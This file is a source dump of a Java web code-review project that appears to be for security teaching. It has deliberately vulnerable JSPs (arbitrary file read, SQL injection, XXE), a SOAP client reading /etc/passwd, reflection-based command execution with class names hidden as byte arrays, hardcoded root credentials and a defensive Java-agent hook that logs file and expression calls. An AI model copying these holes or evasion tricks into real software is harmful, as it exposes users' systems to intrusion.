void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException { 16 | String url = "rmi://localhost:8003"; 17 | 18 | RegistryImpl_Stub rt = (RegistryImpl_Stub) Naming.lookup(url); 19 | 20 | // 获取localhost 8081端口注册的RMI服务名称 21 | String[] names = rt.list(); 22 | 23 | for (String rmiName : names) { 24 | System.out.println(rmiName); 25 | } 26 | } 27 | 28 | } 29 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/client/FileServiceTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.axis.client; 2 | 3 | import java.net.URL; 4 | 5 | /** 6 | * 文件Web Service服务测试 7 | * 8 | * @author yz 9 | */ 10 | public class FileServiceTest { 11 | 12 | public static void main(String[] args) { 13 | try { 14 | FileServiceService fileService = new FileServiceServiceLocator(); 15 | URL webServiceUrl = new URL("http://localhost:8080/services/FileService"); 16 | FileServiceSoapBindingStub soapService = new FileServiceSoapBindingStub(webServiceUrl, fileService); 17 | 18 | String content = soapService.readFile("/etc/passwd"); 19 | 20 | System.out.println(content); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | } 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/RMIRegistryTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import java.rmi.RemoteException; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.rmi.registry.Registry; 6 | 7 | /** 8 | * @author yz 9 | */ 10 | public class RMIRegistryTest { 11 | 12 | public static void createRegistry(int port) throws RemoteException { 13 | Registry registry = LocateRegistry.createRegistry(port); 14 | } 15 | 16 | public static void main(String[] args) throws Exception { 17 | String portStr = args.length > 0 && args[0] != null ? args[0] : "1099"; 18 | int port = Integer.parseInt(portStr); 19 | createRegistry(port); 20 | 21 | System.out.println("RMI启动成功,端口:" + port); 22 | 23 | while (true) { 24 | Thread.sleep(1000); 25 | } 26 | } 27 | 28 | } 29 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/service/impl/SysUserServiceImpl.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.service.impl; 2 | 3 | import org.javaweb.codereview.entity.SysUser; 4 | import org.javaweb.codereview.repository.SysUserRepository; 5 | import org.javaweb.codereview.service.SysUserService; 6 | import org.springframework.stereotype.Service; 7 | 8 | import javax.annotation.Resource; 9 | 10 | /** 11 | * @author yz 12 | */ 13 | @Service 14 | public class SysUserServiceImpl implements SysUserService { 15 | 16 | @Resource 17 | private SysUserRepository sysUserRepository; 18 | 19 | @Override 20 | public SysUser findByUserId(String userId) { 21 | return sysUserRepository.findById(userId).get(); 22 | } 23 | 24 | @Override 25 | public SysUser addUser(SysUser sysUser) { 26 | return sysUserRepository.save(sysUser); 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | spring.application.name=javaweb-code-review 2 | server.port=8080 3 | # 4 | spring.datasource.url=jdbc:mysql://127.0.0.1/javaweb-code-review?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false 5 | spring.datasource.username=root 6 | spring.datasource.password=root 7 | spring.datasource.driver-class-name=com.mysql.jdbc.Driver 8 | # 9 | # Spring JPA 10 | # 11 | spring.jpa.database=MYSQL 12 | spring.jpa.show-sql=true 13 | spring.jpa.hibernate.ddl-auto=update 14 | spring.jpa.hibernate.naming-strategy=org.hibernate.cfg.ImprovedNamingStrategy 15 | spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect 16 | # 17 | # Spring 日志输出级别 18 | # 19 | logging.level.org.springframework.web=debug -------------------------------------------------------------------------------- /javaweb-codereview-struts2/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | struts2 9 | org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter 10 | 11 | 12 | 13 | 14 | 15 | 16 | struts2 17 | *.action 18 | 19 | 20 | 21 | 22 | index.jsp 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 4.0.0 6 | org.javaweb 7 | javaweb-codereview 8 | 1.0.0 9 | javaweb-codereview 10 | http://javaweb.org/ 11 | pom 12 | 13 | 14 | javaweb-codereview-test 15 | javaweb-codereview-spring 16 | javaweb-codereview-struts2 17 | javaweb-codereview-axis 18 | javaweb-codereview-agent 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/file/file-read.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: yz 4 | Date: 2018-05-14 5 | Time: 15:44 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | <%@ page import="java.io.ByteArrayOutputStream" %> 10 | <%@ page import="java.io.File" %> 11 | <%@ page import="java.io.FileInputStream" %> 12 | 13 | <% 14 | File file = new File(request.getParameter("path")); 15 | FileInputStream fis = new FileInputStream(file); 16 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 17 | byte[] b = new byte[1024]; 18 | int a = -1; 19 | 20 | while ((a = fis.read(b)) != -1) { 21 | baos.write(b, 0, a); 22 | } 23 | 24 | out.write("

" + new String(baos.toByteArray()) + "
"); 25 | 26 | fis.close(); 27 | %> -------------------------------------------------------------------------------- /javaweb-codereview-struts2/src/main/java/org/javaweb/codereview/action/TestActionAnnotation.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.action; 2 | 3 | import com.opensymphony.xwork2.ActionSupport; 4 | import org.apache.struts2.convention.annotation.Action; 5 | import org.apache.struts2.convention.annotation.Result; 6 | 7 | /** 8 | * @author yz 9 | */ 10 | @Action( 11 | value = "testAnnotation", 12 | results = { 13 | @Result(name = "success", location = "/index.jsp", type = "redirect") 14 | } 15 | ) 16 | public class TestActionAnnotation extends ActionSupport { 17 | 18 | private String username; 19 | 20 | public String getUsername() { 21 | return username; 22 | } 23 | 24 | public void setUsername(String username) { 25 | this.username = username; 26 | } 27 | 28 | @Override 29 | public String execute() { 30 | System.out.println(username); 31 | return SUCCESS; 32 | } 33 | 34 | } 35 | 36 | 37 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/xxe.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="org.dom4j.Document" %> 3 | <%@ page import="org.dom4j.io.OutputFormat" %> 4 | <%@ page import="org.dom4j.io.SAXReader" %> 5 | <%@ page import="org.dom4j.io.XMLWriter" %> 6 | <%@ page import="java.io.StringReader" %> 7 | <% 8 | // String str = request.getParameter("str"); 9 | String str = "]>&xxe;"; 10 | 11 | if (str != null && !"".equals(str)) { 12 | SAXReader reader = new SAXReader(); 13 | StringReader in = new StringReader(str); 14 | Document doc = reader.read(in); 15 | OutputFormat format = OutputFormat.createPrettyPrint(); 16 | format.setEncoding("UTF-8"); 17 | 18 | XMLWriter writer = new XMLWriter(out, format); 19 | writer.write(doc); 20 | writer.flush(); 21 | writer.close(); 22 | } 23 | %> -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/filter/TestFilter.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.filter; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.annotation.WebFilter; 5 | import java.io.IOException; 6 | import java.io.PrintWriter; 7 | 8 | /** 9 | * @author yz 10 | */ 11 | @WebFilter(filterName = "TestFilter", urlPatterns = {"/TestServlet"}) 12 | public class TestFilter implements Filter { 13 | 14 | @Override 15 | public void init(FilterConfig filterConfig) throws ServletException { 16 | 17 | } 18 | 19 | @Override 20 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 21 | throws IOException, ServletException { 22 | 23 | String str = request.getParameter("password"); 24 | 25 | if ("023".equals(str)) { 26 | chain.doFilter(request, response); 27 | } else { 28 | PrintWriter out = response.getWriter(); 29 | out.println("Login error password error!"); 30 | out.flush(); 31 | out.close(); 32 | } 33 | } 34 | 35 | @Override 36 | public void destroy() { 37 | 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/servlet/TestServlet.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.servlet; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.annotation.WebServlet; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.io.IOException; 9 | import java.io.PrintWriter; 10 | 11 | /** 12 | * @author yz 13 | */ 14 | @WebServlet(name = "TestServlet", urlPatterns = {"/TestServlet"}) 15 | public class TestServlet extends HttpServlet { 16 | 17 | @Override 18 | protected void doGet(HttpServletRequest request, HttpServletResponse response) 19 | throws ServletException, IOException { 20 | 21 | doPost(request, response); 22 | } 23 | 24 | @Override 25 | protected void doPost(HttpServletRequest request, HttpServletResponse response) 26 | throws ServletException, IOException { 27 | 28 | PrintWriter out = response.getWriter(); 29 | out.println("Hello World~"); 30 | out.flush(); 31 | out.close(); 32 | } 33 | 34 | } 35 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/controller/TestRestController.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.controller; 2 | 3 | import org.javaweb.codereview.entity.SysUser; 4 | import org.javaweb.codereview.service.SysUserService; 5 | import org.javaweb.core.utils.StringUtils; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RestController; 8 | 9 | import javax.annotation.Resource; 10 | 11 | /** 12 | * @author yz 13 | */ 14 | @RestController 15 | public class TestRestController { 16 | 17 | @Resource 18 | private SysUserService sysUserService; 19 | 20 | @RequestMapping("/findUserById.php") 21 | public SysUser findUserById(String userId) { 22 | return sysUserService.findByUserId(userId); 23 | } 24 | 25 | @RequestMapping("/addUser.php") 26 | public SysUser addUser(SysUser sysUser) { 27 | if (StringUtils.isNotEmpty(sysUser.getUsername()) && StringUtils.isNotEmpty(sysUser.getPassword())) { 28 | return sysUserService.addUser(sysUser); 29 | } 30 | 31 | return null; 32 | } 33 | 34 | } 35 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/commons/CodeReviewAsm.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.commons; 2 | 3 | /** 4 | * @author yz 5 | */ 6 | public class CodeReviewAsm { 7 | 8 | public final static String MVEL_INTERPRETED_RUNTIME_CLASS = "org.mvel2.MVELInterpretedRuntime"; 9 | 10 | public final static String OGNL_CLASS = "ognl.Ognl"; 11 | 12 | public final static String SPEL_EXPRESSION_CLASS = "org.springframework.expression.spel.standard.SpelExpression"; 13 | 14 | public final static String FILE_CHANNEL_IMPL_CLASS = "sun.nio.ch.FileChannelImpl"; 15 | 16 | public final static String FILE_INPUTSTREAM_CLASS = "java.io.FileInputStream"; 17 | 18 | public final static String FILE_OUTPUTSTREAM_CLASS = "java.io.FileOutputStream"; 19 | 20 | public final static String PROCESS_BUILDER_CLASS = "java.lang.ProcessBuilder"; 21 | 22 | public final static String UNIX_PROCESS_CLASS = "java.lang.UNIXProcess"; 23 | 24 | public final static String PROCESS_IMPL_CLASS = "java.lang.ProcessImpl"; 25 | 26 | public final static String RANDOM_ACCESS_FILE_CLASS = "java.io.RandomAccessFile"; 27 | 28 | } 29 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/mysql.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="java.sql.Connection" %> 3 | <%@ page import="java.sql.DriverManager" %> 4 | <%@ page import="java.sql.PreparedStatement" %> 5 | <%@ page import="java.sql.ResultSet" %> 6 | <% 7 | String sql = "select post_content from sys_posts where post_id =" + request.getParameter("id"); 8 | String url = "jdbc:mysql://localhost:3306/anbai-zone?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true"; 9 | String username = "root"; 10 | String password = "root"; 11 | Class.forName("com.mysql.jdbc.Driver"); 12 | 13 | out.println("

" + sql + "

"); 14 | 15 | Connection connection = DriverManager.getConnection(url, username, password); 16 | PreparedStatement pstt = connection.prepareStatement(sql); 17 | ResultSet rs = pstt.executeQuery(); 18 | 19 | while (rs.next()) { 20 | out.println("" + rs.getObject(1) + ""); 21 | } 22 | 23 | rs.close(); 24 | pstt.close(); 25 | %> -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 6 | 7 | 29 | 30 | 31 | 32 | index.jsp 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/commons/CodeReviewMethodHookVisitor.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.commons; 2 | 3 | import org.objectweb.asm.MethodVisitor; 4 | import org.objectweb.asm.Opcodes; 5 | import org.objectweb.asm.Type; 6 | import org.objectweb.asm.commons.AdviceAdapter; 7 | 8 | /** 9 | * @author yz 10 | */ 11 | public class CodeReviewMethodHookVisitor extends AdviceAdapter { 12 | 13 | protected String className; 14 | 15 | protected String methodDesc; 16 | 17 | /** 18 | * Creates a new {@link AdviceAdapter}. 19 | * 20 | * @param api the ASM API version implemented by this visitor. Must be one 21 | * of {@link Opcodes#ASM4} or {@link Opcodes#ASM5}. 22 | * @param mv the method visitor to which this adapter delegates calls. 23 | * @param access the method's access flags (see {@link Opcodes}). 24 | * @param name the method's name. 25 | * @param desc the method's descriptor (see {@link Type Type}). 26 | */ 27 | protected CodeReviewMethodHookVisitor(int api, MethodVisitor mv, int access, String name, String desc) { 28 | super(api, mv, access, name, desc); 29 | 30 | this.className = name; 31 | this.methodDesc = desc; 32 | } 33 | 34 | } 35 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/FileService.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.axis; 2 | 3 | import org.apache.commons.io.FileUtils; 4 | 5 | import java.io.File; 6 | import java.io.IOException; 7 | 8 | /** 9 | * @author yz 10 | */ 11 | public class FileService { 12 | 13 | public String readFile(String path) { 14 | if (path != null && !"".equals(path)) { 15 | File file = new File(path); 16 | 17 | if (file.exists()) { 18 | try { 19 | return FileUtils.readFileToString(file, "UTF-8"); 20 | } catch (IOException e) { 21 | return "读取文件:" + file + "异常:" + e; 22 | } 23 | } else { 24 | return "文件:" + file + "不存在!"; 25 | } 26 | } else { 27 | return "path不能为空!"; 28 | } 29 | } 30 | 31 | public String writeFile(String path, String content) { 32 | if (path != null && !"".equals(path)) { 33 | File file = new File(path); 34 | 35 | try { 36 | FileUtils.writeStringToFile(file, content, "UTF-8"); 37 | 38 | return file.getAbsolutePath(); 39 | } catch (IOException e) { 40 | return "写文件:" + file + "异常:" + e; 41 | } 42 | } 43 | 44 | return "path不能为空!"; 45 | } 46 | 47 | public String test() { 48 | return "文件WebService测试~"; 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/file-upload2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="org.apache.commons.fileupload.FileItemIterator" %> 2 | <%@ page import="org.apache.commons.fileupload.FileItemStream" %> 3 | <%@ page import="org.apache.commons.fileupload.FileUploadException" %> 4 | <%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %> 5 | <%@ page import="org.apache.commons.fileupload.util.Streams" %> 6 | <%@ page import="java.io.IOException" %> 7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 8 | <% 9 | if (ServletFileUpload.isMultipartContent(request)) { 10 | ServletFileUpload fileUpload = new ServletFileUpload(); 11 | 12 | try { 13 | FileItemIterator fileItemIterator = fileUpload.getItemIterator(request); 14 | 15 | while (fileItemIterator.hasNext()) { 16 | FileItemStream fileItemStream = fileItemIterator.next(); 17 | String fieldName = fileItemStream.getFieldName();// 字段名称 18 | 19 | if (fileItemStream.isFormField()) { 20 | String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值 21 | out.println(fieldName + "=" + fieldValue); 22 | } else { 23 | out.println("文件名:" + fileItemStream.getName()); 24 | } 25 | } 26 | } catch (FileUploadException e) { 27 | e.printStackTrace(); 28 | } catch (IOException e) { 29 | e.printStackTrace(); 30 | } 31 | } 32 | %> -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/test/MethodHandlesTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.test; 2 | 3 | import java.io.InputStream; 4 | import java.lang.invoke.MethodHandle; 5 | import java.lang.invoke.MethodHandles; 6 | import java.lang.invoke.MethodType; 7 | import java.util.Scanner; 8 | 9 | /** 10 | * @author yz 11 | */ 12 | public class MethodHandlesTest { 13 | 14 | public static void main(String[] args) { 15 | try { 16 | String str = "ping p2j.cn -c 1"; 17 | Class runtimeClass = Runtime.class; 18 | MethodHandles.Lookup lookup = MethodHandles.lookup(); 19 | 20 | // Runtime rt = Runtime.getRuntime() 21 | MethodHandle methodHandle = lookup.findStatic( 22 | runtimeClass, "getRuntime", MethodType.methodType(runtimeClass) 23 | ); 24 | 25 | // 获取Runtime的exec方法 26 | MethodHandle execMethod = lookup.findVirtual( 27 | runtimeClass, "exec", MethodType.methodType(Process.class, new Class[]{ 28 | String.class 29 | }) 30 | ); 31 | 32 | // 获取Process的getInputStream方法 33 | MethodHandle inputStreamMethod = lookup.findVirtual( 34 | Process.class, "getInputStream", MethodType.methodType(InputStream.class) 35 | ); 36 | 37 | // 调用Runtime.getRuntime().exec(xxx).getInputStream() 38 | InputStream in = (InputStream) inputStreamMethod.invoke( 39 | execMethod.invoke(methodHandle.invoke(), str) 40 | ); 41 | 42 | // 输出InputStream内容到 43 | Scanner scanner = new Scanner(in).useDelimiter("\\A"); 44 | System.out.println(scanner.hasNext() ? scanner.next() : ""); 45 | } catch (Throwable t) { 46 | t.printStackTrace(); 47 | } 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /javaweb-codereview-struts2/src/main/java/org/javaweb/codereview/action/TestAction.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright yz 2016-05-25 Email:admin@javaweb.org. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.javaweb.codereview.action; 17 | 18 | import com.opensymphony.xwork2.ActionContext; 19 | import com.opensymphony.xwork2.ActionSupport; 20 | import org.apache.struts2.ServletActionContext; 21 | 22 | import javax.servlet.http.HttpServletRequest; 23 | 24 | /** 25 | * Created by yz on 2016-05-25. 26 | */ 27 | public class TestAction extends ActionSupport { 28 | 29 | private String username; 30 | 31 | private ActionContext context = ActionContext.getContext(); 32 | 33 | private HttpServletRequest request = (HttpServletRequest) 34 | context.get(ServletActionContext.HTTP_REQUEST); 35 | 36 | public String getUsername() { 37 | return username; 38 | } 39 | 40 | public void setUsername(String username) { 41 | this.username = username; 42 | } 43 | 44 | @Override 45 | public String execute() { 46 | System.out.println(request.getParameter("id")); 47 | System.out.println(username); 48 | 49 | return SUCCESS; 50 | } 51 | 52 | } 53 | 54 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/test/ReflectionTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.test; 2 | 3 | import java.io.InputStream; 4 | import java.lang.reflect.Method; 5 | import java.util.Scanner; 6 | 7 | /** 8 | * @author yz 9 | */ 10 | public class ReflectionTest { 11 | 12 | private static void exec() { 13 | try { 14 | System.out.println(Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "curl -i localhost:8000")); 15 | } catch (Exception e) { 16 | e.printStackTrace(); 17 | } 18 | } 19 | 20 | public static void main(String[] args) { 21 | try { 22 | String str = "whoami"; 23 | 24 | // java.lang.Runtime 25 | String runtime = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}); 26 | 27 | // Runtime.class 28 | Class c = Class.forName(runtime); 29 | 30 | // 获取getRuntime方法,Runtime.getRuntime() 31 | Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})); 32 | 33 | // 获取Runtime的exec方法,rt.exec(xxx) 34 | Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class); 35 | 36 | // Runtime.getRuntime().exec(str) 37 | Object obj2 = m2.invoke(m1.invoke(null), str); 38 | 39 | // 获取命令执行结果Process类的getInputStream()方法 40 | Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); 41 | m.setAccessible(true); 42 | 43 | // process.getInputStream() 44 | InputStream in = (InputStream) m.invoke(obj2, new Object[]{}); 45 | 46 | // 输出InputStream内容到 47 | Scanner scanner = new Scanner(in).useDelimiter("\\A"); 48 | System.out.println(scanner.hasNext() ? scanner.next() : ""); 49 | } catch (Throwable t) { 50 | t.printStackTrace(); 51 | } 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/commons/CodeReviewMethodHookDesc.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.commons; 2 | 3 | public class CodeReviewMethodHookDesc { 4 | 5 | /** 6 | * Hook类名 7 | */ 8 | private String hookClassName; 9 | 10 | /** 11 | * Hook方法名 12 | */ 13 | private String hookMethodName; 14 | 15 | /** 16 | * Hook方法参数描述符 17 | */ 18 | private String hookMethodArgTypeDesc; 19 | 20 | /** 21 | * 处理Hook点的类对象 22 | */ 23 | private Class methodVisitorClass; 24 | 25 | /** 26 | * ASM方法Hook 27 | * 28 | * @param hookClassName hook类名 29 | * @param hookMethodName hook方法名 30 | * @param hookMethodArgTypeDesc hook方法描述符 31 | * @param methodVisitorClass 处理Hook点的类对象 32 | */ 33 | public CodeReviewMethodHookDesc(String hookClassName, String hookMethodName, 34 | String hookMethodArgTypeDesc, Class methodVisitorClass) { 35 | 36 | this.hookClassName = hookClassName; 37 | this.hookMethodName = hookMethodName; 38 | this.hookMethodArgTypeDesc = hookMethodArgTypeDesc; 39 | this.methodVisitorClass = methodVisitorClass; 40 | } 41 | 42 | public String getHookClassName() { 43 | return hookClassName; 44 | } 45 | 46 | public void setHookClassName(String hookClassName) { 47 | this.hookClassName = hookClassName; 48 | } 49 | 50 | public String getHookMethodName() { 51 | return hookMethodName; 52 | } 53 | 54 | public void setHookMethodName(String hookMethodName) { 55 | this.hookMethodName = hookMethodName; 56 | } 57 | 58 | public String getHookMethodArgTypeDesc() { 59 | return hookMethodArgTypeDesc; 60 | } 61 | 62 | public void setHookMethodArgTypeDesc(String hookMethodArgTypeDesc) { 63 | this.hookMethodArgTypeDesc = hookMethodArgTypeDesc; 64 | } 65 | 66 | public Class getMethodVisitorClass() { 67 | return methodVisitorClass; 68 | } 69 | 70 | public void setMethodVisitorClass(Class methodVisitorClass) { 71 | this.methodVisitorClass = methodVisitorClass; 72 | } 73 | 74 | } -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/hook/FileOutputStreamHook.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright yz 2018-01-27 Email:admin@javaweb.org. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.javaweb.codereview.hook; 17 | 18 | import org.javaweb.codereview.commons.CodeReviewMethodHookVisitor; 19 | import org.objectweb.asm.MethodVisitor; 20 | import org.objectweb.asm.Opcodes; 21 | 22 | import java.io.File; 23 | 24 | public class FileOutputStreamHook extends CodeReviewMethodHookVisitor { 25 | 26 | public FileOutputStreamHook(int api, MethodVisitor mv, int access, String name, String desc) { 27 | super(api, mv, access, name, desc); 28 | } 29 | 30 | @Override 31 | public void visitCode() { 32 | // 获取File对象 33 | mv.visitVarInsn(ALOAD, 1); 34 | 35 | // 调用对应的处理类处理 36 | mv.visitMethodInsn( 37 | Opcodes.INVOKESTATIC, FileOutputStreamHook.class.getName().replace(".", "/"), 38 | "writeFile", "(Ljava/io/File;)V", false 39 | ); 40 | } 41 | 42 | public static void writeFile(File file) { 43 | System.err.println("Hook到写文件操作:" + file.getAbsolutePath()); 44 | // System.err.println("---------------------------------FileOutputStream Hook-----------------------------------------"); 45 | // System.err.println(file.getAbsolutePath()); 46 | // System.err.println("---------------------------------调用链---------------------------------------"); 47 | // 48 | // ClassUtils.printStackTrace(); 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/hook/FileInputStreamHook.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright yz 2018-01-27 Email:admin@javaweb.org. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.javaweb.codereview.hook; 17 | 18 | import org.javaweb.codereview.commons.CodeReviewMethodHookVisitor; 19 | import org.javaweb.codereview.utils.ClassUtils; 20 | import org.objectweb.asm.MethodVisitor; 21 | import org.objectweb.asm.Opcodes; 22 | 23 | import java.io.File; 24 | 25 | public class FileInputStreamHook extends CodeReviewMethodHookVisitor { 26 | 27 | public FileInputStreamHook(int api, MethodVisitor mv, int access, String name, String desc) { 28 | super(api, mv, access, name, desc); 29 | } 30 | 31 | @Override 32 | public void visitCode() { 33 | // 获取File对象 34 | mv.visitVarInsn(ALOAD, 1); 35 | 36 | // 调用对应的处理类处理 37 | mv.visitMethodInsn( 38 | Opcodes.INVOKESTATIC, FileInputStreamHook.class.getName().replace(".", "/"), 39 | "readFile", "(Ljava/io/File;)V", false 40 | ); 41 | } 42 | 43 | public static void readFile(File file) { 44 | System.err.println("Hook到读文件操作:" + file.getAbsolutePath()); 45 | // System.err.println("---------------------------------FileInputStream Hook-----------------------------------------"); 46 | // System.err.println(file.getAbsolutePath()); 47 | // System.err.println("---------------------------------调用链---------------------------------------"); 48 | 49 | // ClassUtils.printStackTrace(); 50 | } 51 | 52 | } 53 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/hook/ExpressionHook.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.hook; 2 | 3 | import org.javaweb.codereview.commons.CodeReviewMethodHookVisitor; 4 | import org.javaweb.codereview.utils.ClassUtils; 5 | import org.objectweb.asm.MethodVisitor; 6 | import org.objectweb.asm.Opcodes; 7 | import org.objectweb.asm.Type; 8 | import org.objectweb.asm.commons.AdviceAdapter; 9 | 10 | /** 11 | * @author yz 12 | */ 13 | public class ExpressionHook extends CodeReviewMethodHookVisitor { 14 | 15 | /** 16 | * Creates a new {@link AdviceAdapter}. 17 | * 18 | * @param api the ASM API version implemented by this visitor. Must be one 19 | * of {@link Opcodes#ASM4} or {@link Opcodes#ASM5}. 20 | * @param mv the method visitor to which this adapter delegates calls. 21 | * @param access the method's access flags (see {@link Opcodes}). 22 | * @param name the method's name. 23 | * @param desc the method's descriptor (see {@link Type Type}). 24 | */ 25 | public ExpressionHook(int api, MethodVisitor mv, 26 | int access, String name, String desc) { 27 | 28 | super(api, mv, access, name, desc); 29 | } 30 | 31 | @Override 32 | public void visitCode() { 33 | if ("ognl.Ognl".equals(className)) { 34 | mv.visitVarInsn(Opcodes.ALOAD, 0);// 传入参数名 35 | } else { 36 | mv.visitVarInsn(Opcodes.ALOAD, 1);// 传入参数名 37 | } 38 | 39 | // 调用对应的处理类处理 40 | mv.visitMethodInsn( 41 | Opcodes.INVOKESTATIC, ExpressionHook.class.getName().replace(".", "/"), 42 | "expression", "(Ljava/lang/String;)V", false 43 | ); 44 | } 45 | 46 | /** 47 | * SpEL、OGNL、MVEL2表达式处理 48 | * 49 | * @param exp 50 | */ 51 | public static void expression(String exp) { 52 | System.err.println("---------------------------------Expression-----------------------------------------"); 53 | System.err.println(exp); 54 | System.err.println("---------------------------------调用链---------------------------------------"); 55 | 56 | ClassUtils.printStackTrace(); 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- 